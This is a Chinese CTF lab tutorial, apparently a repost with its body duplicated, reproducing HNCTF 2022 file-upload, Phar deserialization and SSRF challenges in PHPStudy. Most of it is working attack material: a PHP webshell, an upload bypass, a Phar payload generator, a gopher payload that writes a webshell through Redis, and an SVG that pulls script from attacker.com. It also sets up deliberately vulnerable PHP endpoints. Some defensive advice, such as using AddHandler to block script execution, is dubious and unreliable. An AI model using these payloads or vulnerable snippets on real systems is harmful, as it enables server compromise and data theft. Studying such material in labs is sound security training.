PHPStudy环境下实战复现HNCTF 2022三大Web漏洞在网络安全攻防演练中漏洞复现是提升实战能力的关键环节。本文将基于Windows平台下的PHPStudy环境深度还原HNCTF 2022比赛中easy_upload文件上传、easy_unser反序列化和ez_ssrfSSRF三道典型Web题目的漏洞场景。通过环境搭建、漏洞分析、Exploit编写到最终利用的完整闭环帮助中级安全研究者建立系统的漏洞复现方法论。1. 环境准备与靶场搭建1.1 PHPStudy基础配置首先下载最新版PHPStudyv8.1或更高版本安装时勾选以下组件Apache 2.4.39PHP 7.3.4需与题目原始环境版本匹配MySQL 5.7.26安装完成后在php.ini中需要特别开启的关键配置allow_url_include On allow_url_fopen On display_errors On short_open_tag On1.2 题目环境部署为每个漏洞创建独立的虚拟主机在vhosts.conf中添加三个站点配置VirtualHost *:80 DocumentRoot C:/phpstudy_pro/WWW/easy_upload ServerName upload.test /VirtualHost VirtualHost *:80 DocumentRoot C:/phpstudy_pro/WWW/easy_unser ServerName unser.test /VirtualHost VirtualHost *:80 DocumentRoot C:/phpstudy_pro/WWW/ez_ssrf ServerName ssrf.test /VirtualHost修改本地hosts文件添加域名解析127.0.0.1 upload.test unser.test ssrf.test2. easy_upload文件上传漏洞实战2.1 漏洞代码分析在upload.test站点部署以下模拟代码?php if(isset($_FILES[file])){ $tmp_name $_FILES[file][tmp_name]; $name $_FILES[file][name]; if(move_uploaded_file($tmp_name, uploads/.$name)){ echo Upload success! Path: uploads/$name; } } ? form methodpost enctypemultipart/form-data input typefile namefile buttonUpload/button /form关键缺陷未校验文件类型和内容未重命名上传文件未禁用脚本执行权限2.2 漏洞利用五步法制作PHP webshell?php system($_GET[cmd]); ?使用Burp修改文件类型Content-Disposition: form-data; namefile; filenameshell.jpg Content-Type: image/jpeg上传后访问webshell执行命令http://upload.test/uploads/shell.php?cmdwhoami获取flag路径find / -name *flag* 2/dev/null使用蚁剑连接管理连接URLhttp://upload.test/uploads/shell.php密码cmd实际防御中应配置.htaccess禁止脚本执行AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi3. easy_unser反序列化漏洞复现3.1 漏洞环境构建部署以下反序列化入口代码?php class VulnerableClass { private $cmd id; function __destruct() { system($this-cmd); } } if(isset($_GET[data])){ unserialize($_GET[data]); } ?3.2 Phar反序列化利用构造恶意序列化数据生成器?php class Exploit { public $cmd cat /flag; } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, test); $phar-stopBuffering(); ?上传phar文件后触发http://unser.test/vuln.php?dataphar://uploads/exploit.phar绕过技巧使用preg_replace修改序列化属性数量$payload str_replace(:2:, :3:, serialize($obj));利用php://filter链式编码php://filter/convert.base64-encode/resourcephar://./exploit.phar4. ez_ssrf服务器端请求伪造4.1 模拟内网环境搭建在ssrf.test创建内网服务模拟?php // flag.php (内网服务) if($_SERVER[REMOTE_ADDR] 127.0.0.1){ die(FLAG{THIS_IS_SSRF_FLAG}); } ?部署存在SSRF的接口?php // ssrf.php if(isset($_GET[url])){ echo file_get_contents($_GET[url]); } ?4.2 多协议利用方案HTTP协议利用http://ssrf.test/ssrf.php?urlhttp://127.0.0.1/flag.phpGopher协议高级利用构造攻击内网Redis的payloadimport urllib.parse payload SET injected_key ?php system($_GET[cmd]);? CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE print(urllib.parse.quote(payload.replace(\n,\r\n)))发送SSRF请求gopher://127.0.0.1:6379/_[编码后的payload]防御方案对比表方案类型实现方式优缺点域名白名单parse_url()校验host无法防御DNS重绑定IP黑名单过滤内网IP段可能被进制转换绕过协议限制只允许HTTP/HTTPS无法防御302跳转请求限制禁用CURLOPT_FOLLOWLOCATION影响正常业务5. 联合利用与防御加固5.1 漏洞组合利用案例通过SSRF访问本地Phar文件触发反序列化http://ssrf.test/ssrf.php?urlphar:///path/to/exploit.phar上传包含SSRF payload的SVG文件svg xmlnshttp://www.w3.org/2000/svg script xlink:hrefhttp://attacker.com/ssrf.js/ /svg5.2 企业级防御方案PHPStudy安全配置清单修改Apache默认配置Directory C:/phpstudy_pro/WWW Options -Indexes -ExecCGI php_flag engine off /Directory安装开源WAFgit clone https://github.com/SpiderLabs/ModSecurity cp modsecurity.conf-recommended /path/to/modsecurity.conf在漏洞复现过程中建议使用VirtualBox快照功能保存不同阶段的实验环境状态。遇到问题时可参考PHP错误日志路径C:/phpstudy_pro/Extensions/php_logs/php_error.log
PHPStudy环境下,手把手复现HNCTF 2022的3个典型Web漏洞(文件上传+反序列化+SSRF)
发布时间:2026/6/11 18:44:01
PHPStudy环境下实战复现HNCTF 2022三大Web漏洞在网络安全攻防演练中漏洞复现是提升实战能力的关键环节。本文将基于Windows平台下的PHPStudy环境深度还原HNCTF 2022比赛中easy_upload文件上传、easy_unser反序列化和ez_ssrfSSRF三道典型Web题目的漏洞场景。通过环境搭建、漏洞分析、Exploit编写到最终利用的完整闭环帮助中级安全研究者建立系统的漏洞复现方法论。1. 环境准备与靶场搭建1.1 PHPStudy基础配置首先下载最新版PHPStudyv8.1或更高版本安装时勾选以下组件Apache 2.4.39PHP 7.3.4需与题目原始环境版本匹配MySQL 5.7.26安装完成后在php.ini中需要特别开启的关键配置allow_url_include On allow_url_fopen On display_errors On short_open_tag On1.2 题目环境部署为每个漏洞创建独立的虚拟主机在vhosts.conf中添加三个站点配置VirtualHost *:80 DocumentRoot C:/phpstudy_pro/WWW/easy_upload ServerName upload.test /VirtualHost VirtualHost *:80 DocumentRoot C:/phpstudy_pro/WWW/easy_unser ServerName unser.test /VirtualHost VirtualHost *:80 DocumentRoot C:/phpstudy_pro/WWW/ez_ssrf ServerName ssrf.test /VirtualHost修改本地hosts文件添加域名解析127.0.0.1 upload.test unser.test ssrf.test2. easy_upload文件上传漏洞实战2.1 漏洞代码分析在upload.test站点部署以下模拟代码?php if(isset($_FILES[file])){ $tmp_name $_FILES[file][tmp_name]; $name $_FILES[file][name]; if(move_uploaded_file($tmp_name, uploads/.$name)){ echo Upload success! Path: uploads/$name; } } ? form methodpost enctypemultipart/form-data input typefile namefile buttonUpload/button /form关键缺陷未校验文件类型和内容未重命名上传文件未禁用脚本执行权限2.2 漏洞利用五步法制作PHP webshell?php system($_GET[cmd]); ?使用Burp修改文件类型Content-Disposition: form-data; namefile; filenameshell.jpg Content-Type: image/jpeg上传后访问webshell执行命令http://upload.test/uploads/shell.php?cmdwhoami获取flag路径find / -name *flag* 2/dev/null使用蚁剑连接管理连接URLhttp://upload.test/uploads/shell.php密码cmd实际防御中应配置.htaccess禁止脚本执行AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi3. easy_unser反序列化漏洞复现3.1 漏洞环境构建部署以下反序列化入口代码?php class VulnerableClass { private $cmd id; function __destruct() { system($this-cmd); } } if(isset($_GET[data])){ unserialize($_GET[data]); } ?3.2 Phar反序列化利用构造恶意序列化数据生成器?php class Exploit { public $cmd cat /flag; } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, test); $phar-stopBuffering(); ?上传phar文件后触发http://unser.test/vuln.php?dataphar://uploads/exploit.phar绕过技巧使用preg_replace修改序列化属性数量$payload str_replace(:2:, :3:, serialize($obj));利用php://filter链式编码php://filter/convert.base64-encode/resourcephar://./exploit.phar4. ez_ssrf服务器端请求伪造4.1 模拟内网环境搭建在ssrf.test创建内网服务模拟?php // flag.php (内网服务) if($_SERVER[REMOTE_ADDR] 127.0.0.1){ die(FLAG{THIS_IS_SSRF_FLAG}); } ?部署存在SSRF的接口?php // ssrf.php if(isset($_GET[url])){ echo file_get_contents($_GET[url]); } ?4.2 多协议利用方案HTTP协议利用http://ssrf.test/ssrf.php?urlhttp://127.0.0.1/flag.phpGopher协议高级利用构造攻击内网Redis的payloadimport urllib.parse payload SET injected_key ?php system($_GET[cmd]);? CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE print(urllib.parse.quote(payload.replace(\n,\r\n)))发送SSRF请求gopher://127.0.0.1:6379/_[编码后的payload]防御方案对比表方案类型实现方式优缺点域名白名单parse_url()校验host无法防御DNS重绑定IP黑名单过滤内网IP段可能被进制转换绕过协议限制只允许HTTP/HTTPS无法防御302跳转请求限制禁用CURLOPT_FOLLOWLOCATION影响正常业务5. 联合利用与防御加固5.1 漏洞组合利用案例通过SSRF访问本地Phar文件触发反序列化http://ssrf.test/ssrf.php?urlphar:///path/to/exploit.phar上传包含SSRF payload的SVG文件svg xmlnshttp://www.w3.org/2000/svg script xlink:hrefhttp://attacker.com/ssrf.js/ /svg5.2 企业级防御方案PHPStudy安全配置清单修改Apache默认配置Directory C:/phpstudy_pro/WWW Options -Indexes -ExecCGI php_flag engine off /Directory安装开源WAFgit clone https://github.com/SpiderLabs/ModSecurity cp modsecurity.conf-recommended /path/to/modsecurity.conf在漏洞复现过程中建议使用VirtualBox快照功能保存不同阶段的实验环境状态。遇到问题时可参考PHP错误日志路径C:/phpstudy_pro/Extensions/php_logs/php_error.log